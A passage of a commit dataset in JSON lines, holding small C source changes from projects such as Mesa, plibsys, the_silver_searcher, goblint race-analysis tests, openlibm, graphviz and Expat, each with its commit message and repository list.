y-boger\/root,smarinac\/root,arch1tect0r\/root,thomaskeck\/root,gganis\/root,alexschlueter\/cern-root,tc3t\/qoot,satyarth934\/root,Duraznos\/root,vukasinmilosevic\/root,olifre\/root,satyarth934\/root,mattkretz\/root,gbitzes\/root,sbinet\/cxx-root,jrtomps\/root,mhuwiler\/rootauto,alexschlueter\/cern-root,davidlt\/root,cxx-hep\/root-cern,perovic\/root,agarciamontoro\/root,zzxuanyuan\/root-compressor-dummy,veprbl\/root,sawenzel\/root,root-mirror\/root,gganis\/root,buuck\/root,karies\/root,omazapa\/root-old,thomaskeck\/root,esakellari\/root,omazapa\/root-old,root-mirror\/root,root-mirror\/root,sawenzel\/root,perovic\/root,satyarth934\/root,esakellari\/my_root_for_test,satyarth934\/root,esakellari\/root,simonpf\/root,perovic\/root,CristinaCristescu\/root,sawenzel\/root,BerserkerTroll\/root,zzxuanyuan\/root,simonpf\/root,krafczyk\/root,sawenzel\/root,georgtroska\/root,veprbl\/root,CristinaCristescu\/root,jrtomps\/root,CristinaCristescu\/root,arch1tect0r\/root,dfunke\/root,Y--\/root,georgtroska\/root,omazapa\/root,CristinaCristescu\/root,omazapa\/root,karies\/root,georgtroska\/root,omazapa\/root,zzxuanyuan\/root,veprbl\/root,sirinath\/root,Dr15Jones\/root,agarciamontoro\/root,buuck\/root,esakellari\/root,lgiommi\/root,tc3t\/qoot,root-mirror\/root,kirbyherm\/root-r-tools,thomaskeck\/root,beniz\/root,mhuwiler\/rootauto,omazapa\/root-old,CristinaCristescu\/root,ffurano\/root5,agarciamontoro\/root,krafczyk\/root,smarinac\/root,gganis\/root,zzxuanyuan\/root-compressor-dummy,gbitzes\/root,ffurano\/root5,arch1tect0r\/root,evgeny-boger\/root,simonpf\/root,Duraznos\/root,vukasinmilosevic\/root,Dr15Jones\/root,Duraznos\/root,gganis\/root,sirinath\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,esakellari\/root,veprbl\/root,evgeny-boger\/root,zzxuanyuan\/root-compressor-dummy,arch1tect0r\/root,agarciamontoro\/root,abhinavmoudgil95\/root,root-mirror\/root,bbockelm\/root,perovic\/root,pspe\/root,veprbl\/root,georgtroska\/root,tc3t\/qoot,bbockelm\/root,sirinath\/root,veprbl\/root,sawenzel\/root,thomaskeck\/root,Duraznos\/root,agarciamontoro\/root,karies\/root,BerserkerTroll\/root,beniz\/root,gganis\/root,dfunke\/root,omazapa\/root,CristinaCristescu\/root,omazapa\/root-old,sirinath\/root,vukasinmilosevic\/root,mkret2\/root,mkret2\/root,jrtomps\/root,krafczyk\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,dfunke\/root,Y--\/root,zzxuanyuan\/root,krafczyk\/root,olifre\/root,mattkretz\/root,arch1tect0r\/root,omazapa\/root,strykejern\/TTreeReader,thomaskeck\/root,BerserkerTroll\/root,cxx-hep\/root-cern,olifre\/root,esakellari\/my_root_for_test,vukasinmilosevic\/root,esakellari\/root,BerserkerTroll\/root,tc3t\/qoot,CristinaCristescu\/root,nilqed\/root,gganis\/root,perovic\/root,zzxuanyuan\/root,thomaskeck\/root,esakellari\/root,omazapa\/root,omazapa\/root,abhinavmoudgil95\/root,CristinaCristescu\/root,kirbyherm\/root-r-tools,omazapa\/root-old,buuck\/root,dfunke\/root,esakellari\/root,BerserkerTroll\/root,bbockelm\/root,root-mirror\/root,satyarth934\/root,omazapa\/root,davidlt\/root,esakellari\/root,karies\/root,0x0all\/ROOT,Y--\/root,buuck\/root,bbockelm\/root,omazapa\/root-old,buuck\/root,mattkretz\/root,Dr15Jones\/root,agarciamontoro\/root,karies\/root,nilqed\/root,sirinath\/root,pspe\/root,mhuwiler\/rootauto,0x0all\/ROOT,bbockelm\/root,perovic\/root,georgtroska\/root,strykejern\/TTreeReader,lgiommi\/root,alexschlueter\/cern-root,buuck\/root,0x0all\/ROOT,beniz\/root,agarciamontoro\/root,olifre\/root,davidlt\/root,gganis\/root,krafczyk\/root,mhuwiler\/rootauto,satyarth934\/root,buuck\/root,thomaskeck\/root,davidlt\/root,sawenzel\/root,mattkretz\/root,Y--\/root,arch1tect0r\/root,kirbyherm\/root-r-tools,olifre\/root,satyarth934\/root,pspe\/root,bbockelm\/root,simonpf\/root,krafczyk\/root,lgiommi\/root,zzxuanyuan\/root,zzxuanyuan\/root-compressor-dummy,smarinac\/root,sbinet\/cxx-root,zzxuanyuan\/root,dfunke\/root,mattkretz\/root,bbockelm\/root,esakellari\/root,omazapa\/root,veprbl\/root,gganis\/root,sbinet\/cxx-root,smarinac\/root,evgeny-boger\/root,thomaskeck\/root,sbinet\/cxx-root,veprbl\/root,tc3t\/qoot,omazapa\/root,dfunke\/root,esakellari\/my_root_for_test,omazapa\/root-old,esakellari\/my_root_for_test,root-mirror\/root,esakellari\/my_root_for_test,satyarth934\/root,CristinaCristescu\/root,abhinavmoudgil95\/root,dfunke\/root,alexschlueter\/cern-root,Y--\/root,omazapa\/root-old,esakellari\/my_root_for_test,omazapa\/root-old,buuck\/root,davidlt\/root,arch1tect0r\/root,gbitzes\/root,sirinath\/root,BerserkerTroll\/root,smarinac\/root,mkret2\/root,gbitzes\/root,beniz\/root,evgeny-boger\/root,veprbl\/root,smarinac\/root,root-mirror\/root,agarciamontoro\/root,beniz\/root,kirbyherm\/root-r-tools,mattkretz\/root,cxx-hep\/root-cern,buuck\/root,0x0all\/ROOT,sawenzel\/root,mhuwiler\/rootauto,zzxuanyuan\/root,lgiommi\/root,jrtomps\/root,sirinath\/root,simonpf\/root,tc3t\/qoot,dfunke\/root,strykejern\/TTreeReader,olifre\/root,abhinavmoudgil95\/root,BerserkerTroll\/root,pspe\/root,bbockelm\/root,georgtroska\/root,karies\/root,omazapa\/root-old,Dr15Jones\/root,olifre\/root,sbinet\/cxx-root,lgiommi\/root,mhuwiler\/rootauto,pspe\/root,smarinac\/root,thomaskeck\/root,strykejern\/TTreeReader,mhuwiler\/rootauto,esakellari\/root,perovic\/root,kirbyherm\/root-r-tools,Duraznos\/root,smarinac\/root,Y--\/root,arch1tect0r\/root,mhuwiler\/rootauto,Dr15Jones\/root,pspe\/root,mhuwiler\/rootauto,satyarth934\/root,gganis\/root,simonpf\/root,pspe\/root,perovic\/root,olifre\/root,karies\/root,BerserkerTroll\/root,esakellari\/my_root_for_test"}
{"commit":"b28c037d64ac7cee7e2c7d9d33b128d62aa4df8a","old_file":"src\/gallium\/drivers\/r300\/r300_public.h","new_file":"src\/gallium\/drivers\/r300\/r300_public.h","old_contents":"\n#ifndef R300_PUBLIC_H\n#define R300_PUBLIC_H\n\nstruct radeon_winsys;\n\nstruct pipe_screen* r300_screen_create(struct radeon_winsys *rws);\n\n#endif\n","new_contents":"\n#ifndef R300_PUBLIC_H\n#define R300_PUBLIC_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstruct radeon_winsys;\n\nstruct pipe_screen* r300_screen_create(struct radeon_winsys *rws);\n\n#ifdef __cplusplus\n} \/\/ extern \"C\"\n#endif\n\n#endif\n","subject":"Fix build, invalid extern \"C\" around header inclusion.","message":"r300g: Fix build, invalid extern \"C\" around header inclusion.\n\nA previous patch to fix header inclusion within extern \"C\" neglected\nto fix the occurences of this pattern in r300 files.\n\nWhen the helper to detect this issue was pushed to master, it broke\nthe build for the r300 driver.  This patch fixes the r300 build.\n\nBugzilla: https:\/\/bugs.freedesktop.org\/show_bug.cgi?id=89477\nReviewed-by: Ilia Mirkin <bcbbb7aa705ec3a5fc5824c01a845186c3d62fca@alum.mit.edu>\nReviewed-by: Jose Fonseca <61b5a29db2c0650f7c8510f93eece059c1b09320@vmware.com>\n","lang":"C","license":"mit","repos":"metora\/MesaGLSLCompiler,metora\/MesaGLSLCompiler,metora\/MesaGLSLCompiler"}
{"commit":"1b36e324bd55b855e130b0ede0942cf6de561dc6","old_file":"src\/pspinlock-decc.c","new_file":"src\/pspinlock-decc.c","old_contents":"","new_contents":"\/*\n * Copyright (C) 2016 Alexander Saprykin <xelfium@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"pmem.h\"\n#include \"pspinlock.h\"\n\n#ifdef P_OS_VMS\n#  include <builtins.h>\n#else\n#  include <machine\/builtins.h>\n#endif\n\nstruct PSpinLock_ {\n\tvolatile pint spin;\n};\n\nP_LIB_API PSpinLock *\np_spinlock_new (void)\n{\n\tPSpinLock *ret;\n\n\tif (P_UNLIKELY ((ret = p_malloc0 (sizeof (PSpinLock))) == NULL)) {\n\t\tP_ERROR (\"PSpinLock::p_spinlock_new: failed to allocate memory\");\n\t\treturn NULL;\n\t}\n\n\treturn ret;\n}\n\nP_LIB_API pboolean\np_spinlock_lock (PSpinLock *spinlock)\n{\n\tif (P_UNLIKELY (spinlock == NULL))\n\t\treturn FALSE;\n\n\t(void) __LOCK_LONG ((volatile void *) &(spinlock->spin));\n\n\treturn TRUE;\n}\n\nP_LIB_API pboolean\np_spinlock_trylock (PSpinLock *spinlock)\n{\n\tif (P_UNLIKELY (spinlock == NULL))\n\t\treturn FALSE;\n\n\treturn __LOCK_LONG_RETRY ((volatile void *) &(spinlock->spin), 1) == 1 ? TRUE : FALSE;\n}\n\nP_LIB_API pboolean\np_spinlock_unlock (PSpinLock *spinlock)\n{\n\tif (P_UNLIKELY (spinlock == NULL))\n\t\treturn FALSE;\n\n\t(void) __UNLOCK_LONG ((volatile void *) &(spinlock->spin));\n\n\treturn TRUE;\n}\n\nP_LIB_API void\np_spinlock_free (PSpinLock *spinlock)\n{\n\tp_free (spinlock);\n}\n","subject":"Add spinlock model for DEC C compiler","message":"Add spinlock model for DEC C compiler\n","lang":"C","license":"unknown","repos":"saprykin\/plibsys,saprykin\/plib,saprykin\/plibsys,saprykin\/plibsys,saprykin\/plib"}
{"commit":"2a84d0b7af1e2ff2d250f0569529e78868cf498b","old_file":"include\/stdlib.h","new_file":"include\/stdlib.h","old_contents":"#ifndef __STDLIB_H__\n#define __STDLIB_H__\n\n#include <types.h>\n\n#define abs(ival)\t\t(ival < 0? -ival : ival)\n\nvoid *malloc(size_t size);\nvoid free(void *addr);\nstruct task;\nvoid __free(void *addr, struct task *task);\n\nvoid *memcpy(void *dst, const void *src, size_t len);\nvoid *memset(void *src, int c, size_t len);\n\n#endif \/* __STDLIB_H__ *\/\n","new_contents":"#ifndef __STDLIB_H__\n#define __STDLIB_H__\n\n#include <types.h>\n\n#define abs(ival)\t\t((ival) < 0? -(ival) : (ival))\n\nvoid *malloc(size_t size);\nvoid free(void *addr);\nstruct task;\nvoid __free(void *addr, struct task *task);\n\nvoid *memcpy(void *dst, const void *src, size_t len);\nvoid *memset(void *src, int c, size_t len);\n\n#endif \/* __STDLIB_H__ *\/\n","subject":"Fix missing parenthesis in abs()","message":"Fix missing parenthesis in abs()\n","lang":"C","license":"apache-2.0","repos":"onkwon\/yaos,onkwon\/yaos,onkwon\/yaos"}
{"commit":"03b7bc948016753bc2e80d9b6e85edfb30da571d","old_file":"src\/log.h","new_file":"src\/log.h","old_contents":"#ifndef LOG_H\n#define LOG_H\n\nenum log_level {\n    LOG_LEVEL_DEBUG = 10,\n    LOG_LEVEL_MSG   = 20,\n    LOG_LEVEL_WARN  = 30,\n    LOG_LEVEL_ERR   = 40\n};\n\nvoid set_log_level(enum log_level threshold);\n\nvoid log_debug(const char *fmt, ...);\nvoid log_msg(const char *fmt, ...);\nvoid log_warn(const char *fmt, ...);\nvoid log_err(const char *fmt, ...);\n\nvoid vplog(const int level, const char *fmt, va_list args);\nvoid plog(const int level, const char *fmt, ...);\n\n#endif\n","new_contents":"#ifndef LOG_H\n#define LOG_H\n\n#include <stdarg.h>\n\nenum log_level {\n    LOG_LEVEL_DEBUG = 10,\n    LOG_LEVEL_MSG   = 20,\n    LOG_LEVEL_WARN  = 30,\n    LOG_LEVEL_ERR   = 40\n};\n\nvoid set_log_level(enum log_level threshold);\n\nvoid log_debug(const char *fmt, ...);\nvoid log_msg(const char *fmt, ...);\nvoid log_warn(const char *fmt, ...);\nvoid log_err(const char *fmt, ...);\n\nvoid vplog(const int level, const char *fmt, va_list args);\nvoid plog(const int level, const char *fmt, ...);\n\n#endif\n","subject":"Fix an error on linux","message":"Fix an error on linux\n","lang":"C","license":"apache-2.0","repos":"bestwpw\/the_silver_searcher,siadat\/the_silver_searcher,godbyk\/the_silver_searcher,vehar\/the_silver_searcher,Arkanosis\/the_silver_searcher,danielshahaf\/the_silver_searcher,vehar\/the_silver_searcher,nodakai\/the_silver_searcher,bc-jaymendoza\/the_silver_searcher,Arkanosis\/the_silver_searcher,christer155\/the_silver_searcher,lunixbochs\/the_silver_searcher,lizh06\/the_silver_searcher,rowanbeentje\/the_silver_searcher,laserswald\/the_silver_searcher,smaudet\/the_silver_searcher,vehar\/the_silver_searcher,snahor\/the_silver_searcher,ggreer\/the_silver_searcher,cchamberlain\/the_silver_searcher,lecheel\/the_silver_searcher,sebgod\/the_silver_searcher,avih\/the_silver_searcher,Arkanosis\/the_silver_searcher,brianstorti\/the_silver_searcher,danielshahaf\/the_silver_searcher,leeonix\/the_silver_searcher,SnoringFrog\/the_silver_searcher,nodakai\/the_silver_searcher,bhaak\/the_silver_searcher,christer155\/the_silver_searcher,lizh06\/the_silver_searcher,godbyk\/the_silver_searcher,godbyk\/the_silver_searcher,jemiahlee\/the_silver_searcher,starcraftman\/the_silver_searcher,avih\/the_silver_searcher,sebgod\/the_silver_searcher,christer155\/the_silver_searcher,schlosna\/the_silver_searcher,lecheel\/the_silver_searcher,jemiahlee\/the_silver_searcher,snahor\/the_silver_searcher,Arkanosis\/the_silver_searcher,k-takata\/the_silver_searcher,danielshahaf\/the_silver_searcher,nishant8BITS\/the_silver_searcher,smaudet\/the_silver_searcher,siadat\/the_silver_searcher,starcraftman\/the_silver_searcher,ggreer\/the_silver_searcher,kjk\/the_silver_searcher,RedX2501\/the_silver_searcher,ArneBab\/the_silver_searcher,msys2\/the_silver_searcher,rowanbeentje\/the_silver_searcher,k-takata\/the_silver_searcher,abhiii5459\/the_silver_searcher,leeonix\/the_silver_searcher,godbyk\/the_silver_searcher,siadat\/the_silver_searcher,lizh06\/the_silver_searcher,ur4ltz\/the_silver_searcher,mcanthony\/the_silver_searcher,pbhandari\/the_silver_searcher,decaff\/the_silver_searcher,abhiii5459\/the_silver_searcher,rowanbeentje\/the_silver_searcher,accessv\/the_silver_searcher,cchamberlain\/the_silver_searcher,lunixbochs\/the_silver_searcher,siadat\/the_silver_searcher,accessv\/the_silver_searcher,kjk\/the_silver_searcher,vehar\/the_silver_searcher,smaudet\/the_silver_searcher,nodakai\/the_silver_searcher,mcanthony\/the_silver_searcher,decaff\/the_silver_searcher,mcanthony\/the_silver_searcher,avih\/the_silver_searcher,bc-jaymendoza\/the_silver_searcher,subev\/the_silver_searcher,monochromegane\/the_silver_searcher,JFLarvoire\/the_silver_searcher,bhaak\/the_silver_searcher,cchamberlain\/the_silver_searcher,SnoringFrog\/the_silver_searcher,sebgod\/the_silver_searcher,leeonix\/the_silver_searcher,laserswald\/the_silver_searcher,ArneBab\/the_silver_searcher,kjk\/the_silver_searcher,decaff\/the_silver_searcher,abhiii5459\/the_silver_searcher,accessv\/the_silver_searcher,abhiii5459\/the_silver_searcher,nishant8BITS\/the_silver_searcher,kjk\/the_silver_searcher,nishant8BITS\/the_silver_searcher,lunixbochs\/the_silver_searcher,JFLarvoire\/the_silver_searcher,ur4ltz\/the_silver_searcher,JFLarvoire\/the_silver_searcher,JFLarvoire\/the_silver_searcher,cchamberlain\/the_silver_searcher,decaff\/the_silver_searcher,bc-jaymendoza\/the_silver_searcher,christer155\/the_silver_searcher,nodakai\/the_silver_searcher,k-takata\/the_silver_searcher,msys2\/the_silver_searcher,christer155\/the_silver_searcher,lecheel\/the_silver_searcher,bestwpw\/the_silver_searcher,jemiahlee\/the_silver_searcher,accessv\/the_silver_searcher,pbhandari\/the_silver_searcher,cchamberlain\/the_silver_searcher,k-takata\/the_silver_searcher,brianstorti\/the_silver_searcher,brianstorti\/the_silver_searcher,subev\/the_silver_searcher,danielshahaf\/the_silver_searcher,avih\/the_silver_searcher,jemiahlee\/the_silver_searcher,lizh06\/the_silver_searcher,starcraftman\/the_silver_searcher,RedX2501\/the_silver_searcher,schlosna\/the_silver_searcher,decaff\/the_silver_searcher,Arkanosis\/the_silver_searcher,kjk\/the_silver_searcher,ArneBab\/the_silver_searcher,mcanthony\/the_silver_searcher,laserswald\/the_silver_searcher,JFLarvoire\/the_silver_searcher,mcanthony\/the_silver_searcher,subev\/the_silver_searcher,JFLarvoire\/the_silver_searcher,brianstorti\/the_silver_searcher,k-takata\/the_silver_searcher,msys2\/the_silver_searcher,snahor\/the_silver_searcher,vehar\/the_silver_searcher,SnoringFrog\/the_silver_searcher,danielshahaf\/the_silver_searcher,ur4ltz\/the_silver_searcher,bc-jaymendoza\/the_silver_searcher,sebgod\/the_silver_searcher,SnoringFrog\/the_silver_searcher,jemiahlee\/the_silver_searcher,snahor\/the_silver_searcher,abhiii5459\/the_silver_searcher,nodakai\/the_silver_searcher,subev\/the_silver_searcher,ur4ltz\/the_silver_searcher,ur4ltz\/the_silver_searcher,bhaak\/the_silver_searcher,lunixbochs\/the_silver_searcher,nishant8BITS\/the_silver_searcher,monochromegane\/the_silver_searcher,ggreer\/the_silver_searcher,leeonix\/the_silver_searcher,RedX2501\/the_silver_searcher,subev\/the_silver_searcher,vehar\/the_silver_searcher,ArneBab\/the_silver_searcher,RedX2501\/the_silver_searcher,leeonix\/the_silver_searcher,snahor\/the_silver_searcher,bestwpw\/the_silver_searcher,bhaak\/the_silver_searcher,bhaak\/the_silver_searcher,brianstorti\/the_silver_searcher,lecheel\/the_silver_searcher,bestwpw\/the_silver_searcher,godbyk\/the_silver_searcher,JFLarvoire\/the_silver_searcher,msys2\/the_silver_searcher,accessv\/the_silver_searcher,pbhandari\/the_silver_searcher,pbhandari\/the_silver_searcher,nishant8BITS\/the_silver_searcher,avih\/the_silver_searcher,smaudet\/the_silver_searcher,laserswald\/the_silver_searcher,RedX2501\/the_silver_searcher,bestwpw\/the_silver_searcher,decaff\/the_silver_searcher,ggreer\/the_silver_searcher,laserswald\/the_silver_searcher,siadat\/the_silver_searcher,msys2\/the_silver_searcher,bc-jaymendoza\/the_silver_searcher,ArneBab\/the_silver_searcher,starcraftman\/the_silver_searcher,starcraftman\/the_silver_searcher,lunixbochs\/the_silver_searcher,leeonix\/the_silver_searcher,SnoringFrog\/the_silver_searcher,kjk\/the_silver_searcher,pbhandari\/the_silver_searcher,smaudet\/the_silver_searcher"}
{"commit":"121fcc178eea7b69b9c0a1aa5818cb714b37644b","old_file":"tests\/regression\/04-mutex\/81-if-cond-race-loc.c","new_file":"tests\/regression\/04-mutex\/81-if-cond-race-loc.c","old_contents":"","new_contents":"#include <pthread.h>\n#include <stdio.h>\n\nint myglobal;\n\nvoid *t_fun(void *arg) {\n  \/\/ awkward formatting to check that warning is just on condition expression, not entire if\n  if \/\/ NORACE\n    (myglobal > 0) { \/\/ RACE!\n    printf(\"Stupid!\");\n    printf(\"Stupid!\");\n    printf(\"Stupid!\");\n    printf(\"Stupid!\");\n    printf(\"Stupid!\");\n    printf(\"Stupid!\");\n  }\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n  myglobal=myglobal+1; \/\/ RACE!\n  pthread_join (id, NULL);\n  return 0;\n}\n","subject":"Add test for if condition race location","message":"Add test for if condition race location\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"ca0d5d42bc9c7b8acb6038d3969a5defb2946942","old_file":"third-party\/lib\/openlibm\/impl.h","new_file":"third-party\/lib\/openlibm\/impl.h","old_contents":"\n#ifndef _OPENLIB_FINITE_H\n#define _OPENLIB_FINITE_H\n\n#include <sys\/cdefs.h>\n\n#define __BSD_VISIBLE 1\n\n#include <..\/..\/build\/extbld\/third_party\/lib\/OpenLibm\/install\/openlibm_math.h>\n\nstatic inline int finite(double x) {\n\treturn isfinite(x);\n}\n\nstatic inline int finitef(float x) {\n\treturn isfinite(x);\n}\n\nstatic inline int finitel(long double x) {\n\treturn isfinite(x);\n}\n\n#if (defined(__STDC_VERSION__) || __STDC_VERSION__ >= 199901L)\n__BEGIN_DECLS\nextern long long int llabs(long long int j);\n__END_DECLS\n#endif\n\n#endif \/* _OPENLIB_FINITE_H *\/\n","new_contents":"\n#ifndef _OPENLIB_FINITE_H\n#define _OPENLIB_FINITE_H\n\n#include <sys\/cdefs.h>\n\n#define __BSD_VISIBLE 1\n\n#include <..\/..\/build\/extbld\/third_party\/lib\/OpenLibm\/install\/openlibm_math.h>\n\nstatic inline int finite(double x) {\n\treturn isfinite(x);\n}\n\nstatic inline int finitef(float x) {\n\treturn isfinite(x);\n}\n\nstatic inline int finitel(long double x) {\n\treturn isfinite(x);\n}\n\n#if (defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L)\n__BEGIN_DECLS\nextern long long int llabs(long long int j);\n__END_DECLS\n#endif\n\n#endif \/* _OPENLIB_FINITE_H *\/\n","subject":"Fix openlibm compilation without defined macro __STDC__","message":"third-party: Fix openlibm compilation without defined macro __STDC__\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"60e74265f056ba274aa4b81034bd687e89279a9a","old_file":"lib\/neatogen\/poly.h","new_file":"lib\/neatogen\/poly.h","old_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n\n#ifndef POLY_H\n#define POLY_H\n\n#include \"geometry.h\"\n\n    typedef struct {\n\tPoint origin;\n\tPoint corner;\n\tint nverts;\n\tPoint *verts;\n\tint kind;\n    } Poly;\n\n    extern void polyFree(void);\n    extern int polyOverlap(Point, Poly *, Point, Poly *);\n    extern void makePoly(Poly *, Agnode_t *, double);\n    extern void breakPoly(Poly *);\n\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef POLY_H\n#define POLY_H\n\n#include \"geometry.h\"\n\n    typedef struct {\n\tPoint origin;\n\tPoint corner;\n\tint nverts;\n\tPoint *verts;\n\tint kind;\n    } Poly;\n\n    extern void polyFree(void);\n    extern int polyOverlap(Point, Poly *, Point, Poly *);\n    extern void makePoly(Poly *, Agnode_t *, float, float);\n    extern void makeAddPoly(Poly *, Agnode_t *, float, float);\n    extern void breakPoly(Poly *);\n\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Fix the sep and esep attributes to allow additive margins in addition to scaled margins.","message":"Fix the sep and esep attributes to allow additive margins in addition\nto scaled margins.\n","lang":"C","license":"epl-1.0","repos":"MjAbuz\/graphviz,pixelglow\/graphviz,ellson\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,tkelman\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,ellson\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,ellson\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,ellson\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,tkelman\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,pixelglow\/graphviz"}
{"commit":"038fd84030d172d7b94cfd8d84a5fcc274cb3d1f","old_file":"lib\/internal.h","new_file":"lib\/internal.h","old_contents":"\/* internal.h\n\n   Internal definitions used by Expat.  This is not needed to compile\n   client code.\n\n   The following definitions are made:\n\n   FASTCALL -- Used for most internal functions to specify that the\n               fastest possible calling convention be used.\n\n   inline   -- Used for selected internal functions for which inlining\n               may improve performance on some platforms.\n*\/\n\n#if defined(__GNUC__)\n#define FASTCALL __attribute__((stdcall, regparm(3)))\n#elif defined(WIN32)\n#define FASTCALL __fastcall\n#else\n#define FASTCALL\n#endif\n\n#ifndef XML_MIN_SIZE\n#if !defined(__cplusplus) && !defined(inline)\n#ifdef __GNUC__\n#define inline __inline\n#endif \/* __GNUC__ *\/\n#endif\n#endif \/* XML_MIN_SIZE *\/\n\n#ifdef __cplusplus\n#define inline inline\n#else\n#ifndef inline\n#define inline\n#endif\n#endif\n","new_contents":"\/* internal.h\n\n   Internal definitions used by Expat.  This is not needed to compile\n   client code.\n\n   The following definitions are made:\n\n   FASTCALL -- Used for most internal functions to specify that the\n               fastest possible calling convention be used.\n\n   inline   -- Used for selected internal functions for which inlining\n               may improve performance on some platforms.\n*\/\n\n#if defined(__GNUC__)\n#define FASTCALL __attribute__((stdcall, regparm(3)))\n#elif defined(WIN32)\n\/* XXX This seems to have an unexpected negative effect on Windows so\n   we'll disable it for now on that platform.  It may be reconsidered\n   for a future release if it can be made more effective.\n*\/\n\/* #define FASTCALL __fastcall *\/\n#endif\n\n#ifndef FASTCALL\n#define FASTCALL\n#endif\n\n#ifndef XML_MIN_SIZE\n#if !defined(__cplusplus) && !defined(inline)\n#ifdef __GNUC__\n#define inline __inline\n#endif \/* __GNUC__ *\/\n#endif\n#endif \/* XML_MIN_SIZE *\/\n\n#ifdef __cplusplus\n#define inline inline\n#else\n#ifndef inline\n#define inline\n#endif\n#endif\n","subject":"Disable FASTCALL on Windows since it turned out not to be as effective as hoped. Leaving the definition in the file so we'll know what it was that didn't work, and hopefully find something better in the future.","message":"Disable FASTCALL on Windows since it turned out not to be as effective\nas hoped.  Leaving the definition in the file so we'll know what it\nwas that didn't work, and hopefully find something better in the\nfuture.\n","lang":"C","license":"mit","repos":"PKRoma\/expat,PKRoma\/expat,PKRoma\/expat,PKRoma\/expat"}
{"commit":"45cf7206ab713b373ae4e8341716329893985186","old_file":"tests\/regression\/05-lval_ls\/18-website.c","new_file":"tests\/regression\/05-lval_ls\/18-website.c","old_contents":"","new_contents":"\/\/ SKIP PARAM:  --sets ana.activated[+] var_eq --sets ana.activated[+] region --sets ana.activated[+] var_eq --enable exp.region-offsets\n#include <pthread.h>\n\nint data[10];\npthread_mutex_t mutexes[10];\n\nvoid safe_inc(int i) {\n  pthread_mutex_lock(&mutexes[i]);\n  data[i]++; \/\/ RACE\n  pthread_mutex_unlock(&mutexes[i]);\n}\n\nvoid *t_fun(void *arg) {\n  safe_inc(3);\n  safe_inc(4);\n  return NULL;\n}\n\nint main() {\n  for (int i = 0; i < 10; i++)\n    pthread_mutex_init(&mutexes[i], NULL);\n\n  \/\/ Create thread\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  pthread_mutex_lock(&mutexes[4]);\n  data[3]++; \/\/ RACE\n  data[4]++; \/\/ NORACE\n  pthread_mutex_unlock(&mutexes[4]);\n\n  return 0;\n}\n\n","subject":"Add example from website as skipped test","message":"Add example from website as skipped test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
